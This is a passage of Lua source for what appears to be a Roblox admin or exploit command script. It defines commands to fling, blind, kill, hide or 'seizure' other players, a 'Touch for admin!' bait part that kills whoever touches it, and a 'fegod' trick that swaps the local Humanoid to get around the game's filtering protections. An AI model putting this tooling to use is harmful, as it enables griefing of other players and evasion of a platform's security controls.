CFrame.new(0, -0.5 * scl, 0) * CFrame.Angles(-1.6, 0, 3.1) Motor1.Name = "Neck" local Motor2 = Instance.new('Motor6D', Torso) Motor2.Part0 = Torso Motor2.Part1 = LA Motor2.C0 = CFrame.new(-1 * scl, 0.5 * scl, 0) * CFrame.Angles(0, -1.6, 0) Motor2.C1 = CFrame.new(0.5 * scl, 0.5 * scl, 0) * CFrame.Angles(0, -1.6, 0) Motor2.Name = "Left Shoulder" local Motor3 = Instance.new('Motor6D', Torso) Motor3.Part0 = Torso Motor3.Part1 = RA Motor3.C0 = CFrame.new(1 * scl, 0.5 * scl, 0) * CFrame.Angles(0, 1.6, 0) Motor3.C1 = CFrame.new(-0.5 * scl, 0.5 * scl, 0) * CFrame.Angles(0, 1.6, 0) Motor3.Name = "Right Shoulder" local Motor4 = Instance.new('Motor6D', Torso) Motor4.Part0 = Torso Motor4.Part1 = LL Motor4.C0 = CFrame.new(-1 * scl, -1 * scl, 0) * CFrame.Angles(0, -1.6, 0) Motor4.C1 = CFrame.new(-0.5 * scl, 1 * scl, 0) * CFrame.Angles(0, -1.6, 0) Motor4.Name = "Left Hip" local Motor5 = Instance.new('Motor6D', Torso) Motor5.Part0 = Torso Motor5.Part1 = RL Motor5.C0 = CFrame.new(1 * scl, -1 * scl, 0) * CFrame.Angles(0, 1.6, 0) Motor5.C1 = CFrame.new(0.5 * scl, 1 * scl, 0) * CFrame.Angles(0, 1.6, 0) Motor5.Name = "Right Hip" local Motor6 = Instance.new('Motor6D', HRP) Motor6.Part0 = HRP Motor6.Part1 = Torso Motor6.C0 = CFrame.new(0, 0, 0) * CFrame.Angles(-1.6, 0, -3.1) Motor6.C1 = CFrame.new(0, 0, 0) * CFrame.Angles(-1.6, 0, -3.1) end scale(pchar, args[2]) for _,v in pairs(LightingService:GetChildren()) do if v:IsA("Accessory") then v.Parent = pchar end end end end) addcmd('clone','clones player',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do local pchar = gPlayers[v].Character pchar.Archivable = true local clone = pchar:Clone() clone.Parent = workspace clone:MoveTo(pchar:GetModelCFrame().p) clone:MakeJoints() pchar.Archivable = false end end) addcmd('spin','spins player',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do spawn(function() local pchar = gPlayers[v].Character for i,v in pairs(pchar.Torso:GetChildren()) do if v.Name == "Spinning" then v:Destroy() end end local Torso = pchar.Torso local BG = Instance.new("BodyGyro", Torso) BG.Name = "Spinning" BG.maxTorque = Vector3.new(0, math.huge, 0) BG.P = 11111 BG.cframe = Torso.CFrame repeat wait(1/44) BG.CFrame = BG.CFrame * CFrame.Angles(0,math.rad(30),0) until not BG or BG.Parent ~= Torso end) end end) addcmd('unspin','stops spinning player',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do local pchar = gPlayers[v].Character for i,v in pairs(pchar.Torso:GetChildren()) do if v.Name == "Spinning" then v:Destroy() end end end end) addcmd('dog','makes player a dog',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do local pchar = gPlayers[v].Character if pchar:FindFirstChild("Shirt") then pchar.Shirt:Destroy() end if pchar:FindFirstChild("Pants") then pchar.Pants:Destroy() end if pchar:FindFirstChild("Shirt Graphic") then pchar["Shirt Graphic"].Graphic = "" end pchar.Torso.Transparency = 1 pchar.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0) pchar.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0) pchar.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0) pchar.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0) pchar.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0) local FakeTorso = Instance.new("Seat", pchar) FakeTorso.Name = "FakeTorso" FakeTorso.FormFactor = "Symmetric" FakeTorso.TopSurface = 0 FakeTorso.BottomSurface = 0 FakeTorso.Size = Vector3.new(3,1,4) FakeTorso.BrickColor = BrickColor.new("Brown") FakeTorso.CFrame = pchar.Torso.CFrame local BF = Instance.new("BodyForce", FakeTorso) BF.Force = Vector3.new(0, FakeTorso:GetMass() * 196.25, 0) local W = Instance.new("Weld", pchar.Torso) W.Part0 = pchar.Torso W.Part1 = FakeTorso W.C0 = CFrame.new(0,-.5,0) local BC = pchar["Body Colors"] BC.HeadColor = BrickColor.new("Brown") BC.LeftArmColor = BrickColor.new("Brown") BC.LeftLegColor = BrickColor.new("Brown") BC.RightArmColor = BrickColor.new("Brown") BC.RightLegColor = BrickColor.new("Brown") BC.TorsoColor = BrickColor.new("Brown") end end) addcmd('undog','makes player back to normal',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do refresh(gPlayers[v]) end end) addcmd('loopheal','loop heals player',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do spawn(function() local pchar = gPlayers[v].Character if pchar:FindFirstChild("LoopHeal") then pchar.LoopHeal.Name = "NotLoopHeal" wait(0.1) pchar.NotLoopHeal:Destroy() end local LoopHeal = Instance.new("StringValue", pchar) LoopHeal.Name = "LoopHeal" repeat wait(0.1) pchar.Humanoid.Health = pchar.Humanoid.MaxHealth until LoopHeal.Name == "NotLoopHeal" end) end end) addcmd('unloopheal','stops loop heal on player',{'noloopheal'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do local pchar = gPlayers[v].Character if pchar:FindFirstChild("LoopHeal") then pchar.LoopHeal.Name = "NotLoopHeal" wait(0.1) pchar.NotLoopHeal:Destroy() end end end) addcmd('fling','flings player',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do local pchar = gPlayers[v].Character if pchar:FindFirstChild("Humanoid") then local xran local zran repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555 repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555 pchar.Humanoid.Sit = true pchar.HumanoidRootPart.Velocity = Vector3.new(0,0,0) local BF = Instance.new("BodyForce", pchar.HumanoidRootPart) BF.force = Vector3.new(xran * 4, 9999 * 5, zran * 4) end end end) addcmd('skydive','self explanatory',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do local pchar = gPlayers[v].Character if pchar:FindFirstChild("HumanoidRootPart") then pchar.HumanoidRootPart.CFrame = pchar.HumanoidRootPart.CFrame + Vector3.new(0,10000,0) end end end) addcmd('sparta','this is sparta',{}, function(args, speaker) --credit adonis i just edited ;) local user = getPlayer(args[1], speaker) for i,player in pairs(user) do local torso = player.Character:FindFirstChild('HumanoidRootPart') if torso then local hole = Instance.new("Part",player.Character) hole.Anchored = true hole.CanCollide = false hole.formFactor = Enum.FormFactor.Custom hole.Size = Vector3.new(10,1,10) hole.CFrame = torso.CFrame * CFrame.new(0,-3.3,-3) hole.BrickColor = BrickColor.new("Really black") local holeM = Instance.new("CylinderMesh",hole) torso.Anchored = true local sound = Instance.new("Sound", hole) sound.SoundId = "rbxassetid://130781067" sound.Volume = 3 sound:Play() local foot = torso.CFrame * CFrame.new(0,-3,0) for i=1,10 do torso.CFrame = foot * CFrame.fromEulerAnglesXYZ(-(math.pi/2)*i/10,0,0) * CFrame.new(0,3,0) wait(0.1) end for i=1,5,0.2 do torso.CFrame = foot * CFrame.new(0,-(i^2),0) * CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0) * CFrame.new(0,3,0) wait() end player.Character:BreakJoints() wait(2) sound:Destroy() end end end) addcmd('bleach','drink bleach',{''}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do bleach(gPlayers[v]) end end) addcmd('seizure','makes player have a seizure',{''}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do local pchar = gPlayers[v].Character if pchar:FindFirstChild("Seizure") then end local Seizure = Instance.new("StringValue", pchar) Seizure.Name = "Seizure" pchar.Humanoid.PlatformStand = true repeat wait() pchar.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) pchar.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until Seizure.Name == "NotSeizure" end end) addcmd('fegod','gods you in fe games',{''}, function(args, speaker) if speaker.userId ~= LP.userId then lponly(speaker) else gPlayers.LocalPlayer.Character.Humanoid.Name = 1 local l = gPlayers.LocalPlayer.Character["1"]:Clone() l.Parent = gPlayers.LocalPlayer.Character l.Name = "Humanoid" wait(0.1) gPlayers.LocalPlayer.Character["1"]:Destroy() workspace.CurrentCamera.CameraSubject = gPlayers.LocalPlayer.Character gPlayers.LocalPlayer.Character.Animate.Disabled = true wait(0.1) gPlayers.LocalPlayer.Character.Animate.Disabled = false gPlayers.LocalPlayer.Character.Humanoid.DisplayDistanceType = "None" end end) addcmd('unseizure','makes player stop having a seizure',{''}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do local pchar = gPlayers[v].Character if pchar:FindFirstChild("Seizure") then pchar.Humanoid.PlatformStand = false pchar.Seizure.Name = "NotSeizure" wait(0.1) pchar.NotSeizure:Destroy() end end end) addcmd('m','makes a global message',{'message'}, function(args, speaker) local MSG = '['..speaker.Name..']: '..GLS(false, 0) local newMSG = '['..speaker.Name..']: '..GLS(false, 0) _G.msg(MSG) end) addcmd('sm','makes a global message',{'servermessage'}, function(args, speaker) local MSG = GLS(false, 0) local newMSG = GLS(false, 0) _G.msg(MSG) end) addcmd('fe','checks filtering status',{'filtering'}, function(args, speaker) if workspace.FilteringEnabled == true then Notify('Filtering ENABLED') elseif workspace.FilteringEnabled == false then Notify('Filtering Disabled') end end) addcmd('paper','makes player thin as paper',{''}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do local pchar = gPlayers[v].Character for _, child in pairs( pchar:GetChildren()) do if child.ClassName == "CharacterMesh" then child:Destroy() end end local LA = DATA.Paper:Clone() LA.Parent = pchar["Left Arm"] local RA = DATA.Paper:Clone() RA.Parent = pchar["Right Arm"] local LL = DATA.Paper:Clone() LL.Parent = pchar["Left Leg"] local RL = DATA.Paper:Clone() RL.Parent = pchar["Right Leg"] local T = DATA.Paper:Clone() T.Parent = pchar.Torso local H = DATA.Paper:Clone() H.Parent = pchar.Head pchar.Head.face:Destroy() end end) addcmd('particles','gives a player particles',{''}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do local char = gPlayers[v].Character for i,v in pairs(char.HumanoidRootPart:GetChildren()) do if v:IsA('ParticleEmitter') then v:destroy() end end local prt = Instance.new('ParticleEmitter', char.HumanoidRootPart) prt.Texture = 'rbxassetid://' .. args[2] prt.Rate = 10 prt.SpreadAngle = Vector2.new(50, 50) end end) addcmd('unparticles','gives a player particles',{'noparticles'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do local char = gPlayers[v].Character for i,v in pairs(char.HumanoidRootPart:GetChildren()) do if v:IsA('ParticleEmitter') then v:destroy() end end end end) blindT = {} addcmd('blind','blinds a player',{}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do spawn(function() if FindTable(blindT, _players[v].Name) then return end local blind = gPlayers[v].Name local victim = gPlayers:FindFirstChild(blind) if victim ~= nil then victim.CameraMaxZoomDistance = 0.5 blnd = Instance.new("Part",workspace) blnd.Name = "IYblind" .. gPlayers[v].Name blnd.Size = Vector3.new(1,1,1) blnd.CanCollide = false blnd.BrickColor = BrickColor.new("Really black") blnd.Material = "Neon" local m = Instance.new("SpecialMesh",blnd) m.Scale = Vector3.new(-1.5,-1.5,-1.5) m.MeshId = "http://www.roblox.com/asset/?id=10061232" local w = Instance.new("Weld",blnd) w.Part0 = blnd w.Part1 = victim.Character.Head if FindTable(blindT, _players[v].Name) then return end table.insert(blindT, _players[v].Name) repeat if not workspace:FindFirstChild('IYblind' .. gPlayers[v].Name) then local blind = gPlayers[v].Name local victim = gPlayers:FindFirstChild(blind) if victim ~= nil then victim.CameraMaxZoomDistance = 0.5 blnd = Instance.new("Part",workspace) blnd.Name = "IYblind" .. gPlayers[v].Name blnd.Size = Vector3.new(1,1,1) blnd.CanCollide = false blnd.BrickColor = BrickColor.new("Really black") blnd.Material = "Neon" local m = Instance.new("SpecialMesh",blnd) m.Scale = Vector3.new(-1.5,-1.5,-1.5) m.MeshId = "http://www.roblox.com/asset/?id=10061232" local w = Instance.new("Weld",blnd) w.Part0 = blnd w.Part1 = victim.Character.Head end end wait(1) until not FindTable(blindT, _players[v].Name) end end) end end) addcmd('unblind','blinds a player',{'noblind'}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do spawn(function() for a,b in pairs(blindT) do if b == _players[v].Name then table.remove(blindT, a) end end local blind = gPlayers[v].Name local victim = gPlayers:FindFirstChild(blind) if victim ~= nil then victim.CameraMaxZoomDistance = 400 wait(0.5) for _, child in pairs( workspace:GetChildren()) do if child.Name == "IYblind" .. gPlayers[v].Name then child:Destroy() end end end end) end end) addcmd('punish','punishs player',{''}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do local pchar = gPlayers[v].Character pchar.Parent = LightingService end end) addcmd('unpunish','unpunishs player',{''}, function(args, speaker) local players = getPlayer(args[1], speaker) for i,v in pairs(players)do if LightingService:FindFirstChild("" .. gPlayers[v].Name) then LightingService:FindFirstChild("" .. gPlayers[v].Name).Parent = workspace end end end) local starmanPlayers = {} local starmanLastColor = nil local starmanEvents = {} addcmd("starman","Turns [plr] into starman",{}, function(args,speaker) local function starman(plr) local char = plr.Character local lastColor = "" local newColor = "" local powerupSound = Instance.new("Sound",char.HumanoidRootPart) powerupSound.Name = "PowerUp" powerupSound.Volume = 10 powerupSound.SoundId = "rbxassetid://182755256" wait() powerupSound:Play() game:GetService("Debris"):AddItem(powerupSound,2) while char.HumanoidRootPart:FindFirstChild("Starman") do char.HumanoidRootPart.Starman:Destroy() end local starmanMusic = Instance.new("Sound",char.HumanoidRootPart) starmanMusic.Name = "Starman" starmanMusic.Volume = 1 starmanMusic.Looped = true starmanMusic.SoundId = "rbxassetid://530596723" wait() starmanMusic:Play() if char:FindFirstChild("Shirt") then char.Shirt:Destroy() end if char:FindFirstChild("Pants") then char.Pants:Destroy() end char.Humanoid.WalkSpeed = 32 char.Humanoid.MaxHealth = math.huge char.Humanoid.Health = math.huge while char.HumanoidRootPart:FindFirstChild("StarmanFlash") do char.HumanoidRootPart.StarmanFlash:Destroy() end local light = Instance.new("PointLight",char.HumanoidRootPart) light.Name = "StarmanFlash" light.Brightness = 100 light.Range = 20 light.Shadows = true local function stardestroy(part) if part.Parent:FindFirstChild("Humanoid") and part.Parent ~= char then for i,v in pairs(part.Parent:GetChildren()) do if v:IsA("BasePart") then local force = Instance.new("BodyForce",v) force.Force = char.HumanoidRootPart.CFrame.lookVector * 50 v:BreakJoints() end end local tadaas = {} for i = 1,1 do local tadaa = Instance.new("Sound",part.Parent.HumanoidRootPart) tadaa.Volume = 10 tadaa.SoundId = "rbxassetid://551195499" table.insert(tadaas,tadaa) end wait() for i,v in pairs(tadaas) do v:Play() end end end local events = {} for i,v in pairs(char:GetChildren()) do if v:IsA("BasePart") then v.Material = Enum.Material.Neon table.insert(events,v.Touched:Connect(stardestroy)) end end if starmanEvents[plr.Name] then for i,v in pairs(starmanEvents[plr.Name]) do v:Disconnect() end starmanEvents[plr.Name] = nil end starmanEvents[plr.Name] = events starmanPlayers[plr.Name] = char end for _,plr in pairs(getPlayer(args[1], speaker)) do spawn(function()starman(gPlayers[plr])end) end end) addcmd("unstarman","Removes starman from [plr]",{}, function(args,speaker) for _,plr in pairs(getPlayer(args[1], speaker)) do pcall(function() if starmanPlayers[plr] then starmanPlayers[plr] = nil end if starmanEvents[plr] then for i,v in pairs(starmanEvents[plr]) do v:Disconnect() end starmanEvents[plr] = nil end local char = gPlayers[plr].Character while char.HumanoidRootPart:FindFirstChild("Starman") do char.HumanoidRootPart.Starman:Destroy() end while char.HumanoidRootPart:FindFirstChild("StarmanFlash") do char.HumanoidRootPart.StarmanFlash:Destroy() end end) end end) local Timers = {} function checkTimer(n,t,res) if not Timers[n] then Timers[n] = 0 end if tick() >= Timers[n] + t then if res then Timers[n] = tick() end return true else return false end end function nonEmpty(t) for i,v in pairs(t) do return true end return false end game:GetService("RunService").RenderStepped:Connect(function() if nonEmpty(starmanPlayers) then if checkTimer("Starman",0.05,true) then for name,plrchar in pairs(starmanPlayers) do ypcall(function() local colors = {"Bright red","Bright blue","Bright green","Bright yellow","Bright violet"} if not gPlayers:FindFirstChild(name) then starmanPlayers[name] = nil end local plr = gPlayers:FindFirstChild(name) if plr then local char = plrchar local light = char.HumanoidRootPart:FindFirstChild("StarmanFlash") local meshMap = {} for i,v in pairs(char:GetChildren()) do if v:IsA("CharacterMesh") then if v.BodyPart.Name == "Torso" then meshMap["Torso"] = "rbxassetid://"..v.MeshId end if v.BodyPart.Name == "LeftArm" then meshMap["Left Arm"] = "rbxassetid://"..v.MeshId end if v.BodyPart.Name == "RightArm" then meshMap["Right Arm"] = "rbxassetid://"..v.MeshId end if v.BodyPart.Name == "LeftLeg" then meshMap["Left Leg"] = "rbxassetid://"..v.MeshId end if v.BodyPart.Name == "RightLeg" then meshMap["Right Leg"] = "rbxassetid://"..v.MeshId end end end if char.Head:FindFirstChild("Mesh") then meshMap["Head"] = char.Head.Mesh.MeshId end if not char or char.Parent == nil then starmanPlayers[plr.Name] = nil end local newColor = BrickColor.new(colors[math.random(1,#colors)]) while starmanLastColor == newColor do newColor = BrickColor.new(colors[math.random(1,#colors)]) end starmanLastColor = newColor for i,v in pairs(char:GetChildren()) do if v:IsA("BasePart") and v.Name ~= "HumanoidRootPart" then v.BrickColor = newColor local fade = v:Clone() if meshMap[v.Name] then local newMesh = Instance.new("SpecialMesh",fade) newMesh.MeshId = meshMap[v.Name] end fade.Name = "StarFade" fade.Anchored = true fade.CanCollide = false for n,c in pairs(fade:GetChildren()) do if c:IsA("Attachment") or c:IsA("Motor6D") or c:IsA("PointLight") or c:IsA("Sound") or c:IsA("Weld") then c:Destroy() end end fade.Parent = workspace.Terrain game:GetService("TweenService"):Create(fade,TweenInfo.new(0.5),{Transparency = 1}):Play() game:GetService("Debris"):AddItem(fade,0.5) end end light.Color = newColor.Color end end) end end end end) addcmd("tppos","Teleports a player to a coordinate",{}, function(args,speaker) if #args < 4 then return end local tpX,tpY,tpZ = tonumber(args[2]),tonumber(args[3]),tonumber(args[4]) for _,plr in pairs(getPlayer(args[1], speaker)) do local char = gPlayers[plr].Character if char and char:FindFirstChild("HumanoidRootPart") then char.HumanoidRootPart.CFrame = CFrame.new(tpX,tpY,tpZ) end end end) addcmd("offset","Offsets a player by a coordinate",{}, function(args,speaker) if #args < 4 then return end local tpX,tpY,tpZ = tonumber(args[2]),tonumber(args[3]),tonumber(args[4]) for _,plr in pairs(getPlayer(args[1], speaker)) do local char = gPlayers[plr].Character if char and char:FindFirstChild("HumanoidRootPart") then char.HumanoidRootPart.CFrame = char.HumanoidRootPart.CFrame + Vector3.new(tpX,tpY,tpZ) end end end) addcmd('bait',';)',{'troll'}, function(args, speaker) spawn(function() local M = Instance.new('Model', workspace) M.Name = 'IYbait' local P = Instance.new('Part', M) P.Name = 'Main' P.Position = speaker.Character.Head.Position P.Color = maincolor P.Material = 'Neon' P.Size = Vector3.new(4, 1, 4) y = Instance.new("BillboardGui") y.Size = UDim2.new(0,100,0,150) y.StudsOffset = Vector3.new(0,1,0) y.Parent = P y.Adornee = P f = Instance.new("TextLabel") f.Parent = y f.BackgroundTransparency = 1 f.Position = UDim2.new(0,0,0,-50) f.Size = UDim2.new(0,100,0,100) f.Font = "Highway" f.FontSize = "Size48" f.Text = "Touch for admin!" f.TextStrokeColor3 = Color3.new(0,0,0) f.TextColor3 = Color3.new(255/255,255/255,255/255) f.TextStrokeTransparency = 0 f.TextYAlignment = "Bottom" P.Touched:connect(function(oof) if oof.Parent.Name ~= speaker.Name or oof.Parent.Name ~= LP.Name then if oof.Parent:FindFirstChild('Humanoid') then execCmd("oof " .. oof.Parent.Name, Player) end end end) end) end) addcmd('removebait','clears bait parts',{'nobait'}, function(args, speaker) local function dels(instance) for i,v in pairs(instance:GetChildren())do if v.name == "IYbait"then v:Destroy()end dels(v) end end dels(workspace) end) function CreateInstance(cls,props) local inst = Instance.new(cls) for i,v in pairs(props) do inst[i] = v end return inst end local function createSoundFrame() local soundFrame = Instance.new("Frame") soundFrame.Name = "Sound" soundFrame.BackgroundColor3 = Color3.new(0, 0, 0) soundFrame.BackgroundTransparency = 1 soundFrame.BorderSizePixel = 0 soundFrame.Position = UDim2.new(0.5, -350, 0, -100) soundFrame.Size = UDim2.new(0, 700, 0, 35) local soundFrame4 = Instance.new("TextLabel") soundFrame4.Name = "SName" soundFrame4.Parent = soundFrame soundFrame4.BackgroundColor3 = Color3.new(1, 1, 1) soundFrame4.BackgroundTransparency = 1 soundFrame4.Position = UDim2.new(0, 3, 0, 2) soundFrame4.Size = UDim2.new(1, -6, 0, 15) soundFrame4.Font = Enum.Font.SourceSansBold soundFrame4.FontSize = Enum.FontSize.Size14 soundFrame4.Text = "Audio" soundFrame4.TextColor3 = Color3.new(1, 1, 1) soundFrame4.TextWrapped = true soundFrame4.TextYAlignment = Enum.TextYAlignment.Top local soundFrame6 = Instance.new("TextButton") soundFrame6.Name = "Pause" soundFrame6.Parent = soundFrame soundFrame6.BackgroundColor3 = Color3.new(0.901961, 0.901961, 0.901961) soundFrame6.BackgroundTransparency = 1 soundFrame6.Position = UDim2.new(0, 170, 1, -18) soundFrame6.Size = UDim2.new(0, 15, 0, 15) soundFrame6.Font = Enum.Font.SourceSans soundFrame6.FontSize = Enum.FontSize.Size14 soundFrame6.Text = "" soundFrame6.TextColor3 = Color3.new(0.901961, 0.901961, 0.901961) local soundFrame7 = CreateInstance("Frame",{Style=0,Active=false,AnchorPoint=Vector2.new(0,0),BackgroundColor3=Color3.new(0.90196084976196,0.90196084976196,0.90196084976196),BackgroundTransparency=0,BorderColor3=Color3.new(0.10588236153126,0.16470588743687,0.20784315466881),BorderSizePixel=0,ClipsDescendants=false,Draggable=false,Position=UDim2.new(0,3,0,0),Rotation=0,Selectable=false,Size=UDim2.new(0,2,1,0),SizeConstraint=0,Visible=true,ZIndex=1,Name="Line",Parent = soundFrame6}) local soundFrame8 = CreateInstance("Frame",{Style=0,Active=false,AnchorPoint=Vector2.new(0,0),BackgroundColor3=Color3.new(0.90196084976196,0.90196084976196,0.90196084976196),BackgroundTransparency=0,BorderColor3=Color3.new(0.10588236153126,0.16470588743687,0.20784315466881),BorderSizePixel=0,ClipsDescendants=false,Draggable=false,Position=UDim2.new(1,-5,0,0),Rotation=0,Selectable=false,Size=UDim2.new(0,2,1,0),SizeConstraint=0,Visible=true,ZIndex=1,Name="Line",Parent = soundFrame6}) local soundFrame9 = Instance.new("Frame") soundFrame9.Name = "Pos" soundFrame9.Parent = soundFrame soundFrame9.BackgroundColor3 = Color3.new(0.901961, 0.901961, 0.901961) soundFrame9.BackgroundTransparency = 1 soundFrame9.BorderSizePixel = 0 soundFrame9.Position = UDim2.new(0, 260, 1, -16) soundFrame9.Size = UDim2.new(1, -300, 0, 11) local soundFrame10 = Instance.new("Frame") soundFrame10.Name = "Touch" soundFrame10.Parent = soundFrame9 soundFrame10.BackgroundColor3 = Color3.new(1, 1, 1) soundFrame10.BorderSizePixel = 0 soundFrame10.Size = UDim2.new(0, 5, 0, 11) local soundFrame11 = CreateInstance("Frame",{Style=0,Active=false,AnchorPoint=Vector2.new(0,0),BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=0,BorderColor3=Color3.new(0.10588236153126,0.16470588743687,0.20784315466881),BorderSizePixel=0,ClipsDescendants=false,Draggable=false,Position=UDim2.new(0,0,0,5),Rotation=0,Selectable=false,Size=UDim2.new(1,0,0,1),SizeConstraint=0,Visible=true,ZIndex=1,Name="Line",Parent = soundFrame9}) local soundFrame12 = Instance.new("TextLabel") soundFrame12.Name = "TimeEnd" soundFrame12.Parent = soundFrame soundFrame12.BackgroundColor3 = Color3.new(1, 1, 1) soundFrame12.BackgroundTransparency = 1 soundFrame12.Position = UDim2.new(1, -35, 1, -18) soundFrame12.Size = UDim2.new(0, 30, 0, 15) soundFrame12.Font = Enum.Font.SourceSans soundFrame12.FontSize = Enum.FontSize.Size14 soundFrame12.Text = "1:52" soundFrame12.TextColor3 = Color3.new(1, 1, 1) soundFrame12.TextYAlignment = Enum.TextYAlignment.Top local soundFrame13 = Instance.new("TextLabel") soundFrame13.Name = "TimeStart" soundFrame13.Parent = soundFrame soundFrame13.BackgroundColor3 = Color3.new(1, 1, 1) soundFrame13.BackgroundTransparency = 1 soundFrame13.Position = UDim2.new(0, 225, 1, -18) soundFrame13.Size = UDim2.new(0, 30, 0, 15) soundFrame13.Font = Enum.Font.SourceSans soundFrame13.FontSize = Enum.FontSize.Size14 soundFrame13.Text = "0:00" soundFrame13.TextColor3 = Color3.new(1, 1, 1) soundFrame13.TextYAlignment = Enum.TextYAlignment.Top local soundFrame15 = Instance.new("TextButton") soundFrame15.Name = "NextSong" soundFrame15.Parent = soundFrame soundFrame15.BackgroundColor3 = Color3.new(1, 1, 1) soundFrame15.BackgroundTransparency = 1 soundFrame15.Position = UDim2.new(0, 80, 1, -18) soundFrame15.Size = UDim2.new(0, 15, 0, 15) soundFrame15.Font = Enum.Font.SourceSans soundFrame15.FontSize = Enum.FontSize.Size14 soundFrame15.Text = "" soundFrame15.TextColor3 = Color3.new(1, 1, 1) local soundFrame16 = CreateInstance("Frame",{Style=0,Active=false,AnchorPoint=Vector2.new(0,0),BackgroundColor3=Color3.new(0.90196084976196,0.90196084976196,0.90196084976196),BackgroundTransparency=0,BorderColor3=Color3.new(0.10588236153126,0.16470588743687,0.20784315466881),BorderSizePixel=0,ClipsDescendants=false,Draggable=false,Position=UDim2.new(1,-2,0,0),Rotation=0,Selectable=false,Size=UDim2.new(0,2,1,0),SizeConstraint=0,Visible=true,ZIndex=1,Name="Line",Parent = soundFrame15}) local soundFrame17 = CreateInstance("ImageLabel",{Image="rbxassetid://304846479",ImageColor3=Color3.new(0.90196084976196,0.90196084976196,0.90196084976196),ImageRectOffset=Vector2.new(0,0),ImageRectSize=Vector2.new(0,0),ImageTransparency=0,ScaleType=0,SliceCenter=Rect.new(0,0,0,0),Active=false,AnchorPoint=Vector2.new(0,0),BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,BorderColor3=Color3.new(0.10588236153126,0.16470588743687,0.20784315466881),BorderSizePixel=1,ClipsDescendants=false,Draggable=false,Position=UDim2.new(0,0,0,2),Rotation=90,Selectable=false,Size=UDim2.new(0,10,0,11),SizeConstraint=0,Visible=true,ZIndex=1,Name="ImageLabel",Parent = soundFrame15}) local soundFrame18 = Instance.new("TextButton") soundFrame18.Name = "PrevSong" soundFrame18.Parent = soundFrame soundFrame18.BackgroundColor3 = Color3.new(1, 1, 1) soundFrame18.BackgroundTransparency = 1 soundFrame18.Position = UDim2.new(0, 20, 1, -18) soundFrame18.Size = UDim2.new(0, 15, 0, 15) soundFrame18.Font = Enum.Font.SourceSans soundFrame18.FontSize = Enum.FontSize.Size14 soundFrame18.Text = "" soundFrame18.TextColor3 = Color3.new(1, 1, 1) local soundFrame19 = CreateInstance("Frame",{Style=0,Active=false,AnchorPoint=Vector2.new(0,0),BackgroundColor3=Color3.new(0.90196084976196,0.90196084976196,0.90196084976196),BackgroundTransparency=0,BorderColor3=Color3.new(0.10588236153126,0.16470588743687,0.20784315466881),BorderSizePixel=0,ClipsDescendants=false,Draggable=false,Position=UDim2.new(0,0,0,0),Rotation=0,Selectable=false,Size=UDim2.new(0,2,1,0),SizeConstraint=0,Visible=true,ZIndex=1,Name="Line",Parent = soundFrame18}) local soundFrame20 = CreateInstance("ImageLabel",{Image="rbxassetid://304846479",ImageColor3=Color3.new(0.90196084976196,0.90196084976196,0.90196084976196),ImageRectOffset=Vector2.new(0,0),ImageRectSize=Vector2.new(0,0),ImageTransparency=0,ScaleType=0,SliceCenter=Rect.new(0,0,0,0),Active=false,AnchorPoint=Vector2.new(0,0),BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,BorderColor3=Color3.new(0.10588236153126,0.16470588743687,0.20784315466881),BorderSizePixel=1,ClipsDescendants=false,Draggable=false,Position=UDim2.new(0,5,0,2),Rotation=-90,Selectable=false,Size=UDim2.new(0,10,0,11),SizeConstraint=0,Visible=true,ZIndex=1,Name="ImageLabel",Parent = soundFrame18}) local soundFrame21 = Instance.new("TextLabel") soundFrame21.Name = "PlaylistCount" soundFrame21.Parent = soundFrame soundFrame21.BackgroundColor3 = Color3.new(1, 1, 1) soundFrame21.BackgroundTransparency = 1 soundFrame21.Position = UDim2.new(0, 40, 1, -18) soundFrame21.Size = UDim2.new(0, 35, 0, 15) soundFrame21.Font = Enum.Font.SourceSans soundFrame21.FontSize = Enum.FontSize.Size14 soundFrame21.Text = "1/1" soundFrame21.TextColor3 = Color3.new(1, 1, 1) soundFrame21.TextYAlignment = Enum.TextYAlignment.Top local soundFrame22 = Instance.new("ImageButton") soundFrame22.Name = "PlayStop" soundFrame22.Parent = soundFrame soundFrame22.BackgroundColor3 = Color3.new(0.901961, 0.901961, 0.901961) soundFrame22.BackgroundTransparency = 1 soundFrame22.BorderSizePixel = 0 soundFrame22.Position = UDim2.new(0, 145, 1, -18) soundFrame22.Rotation = 90 soundFrame22.Size = UDim2.new(0, 15, 0, 15) 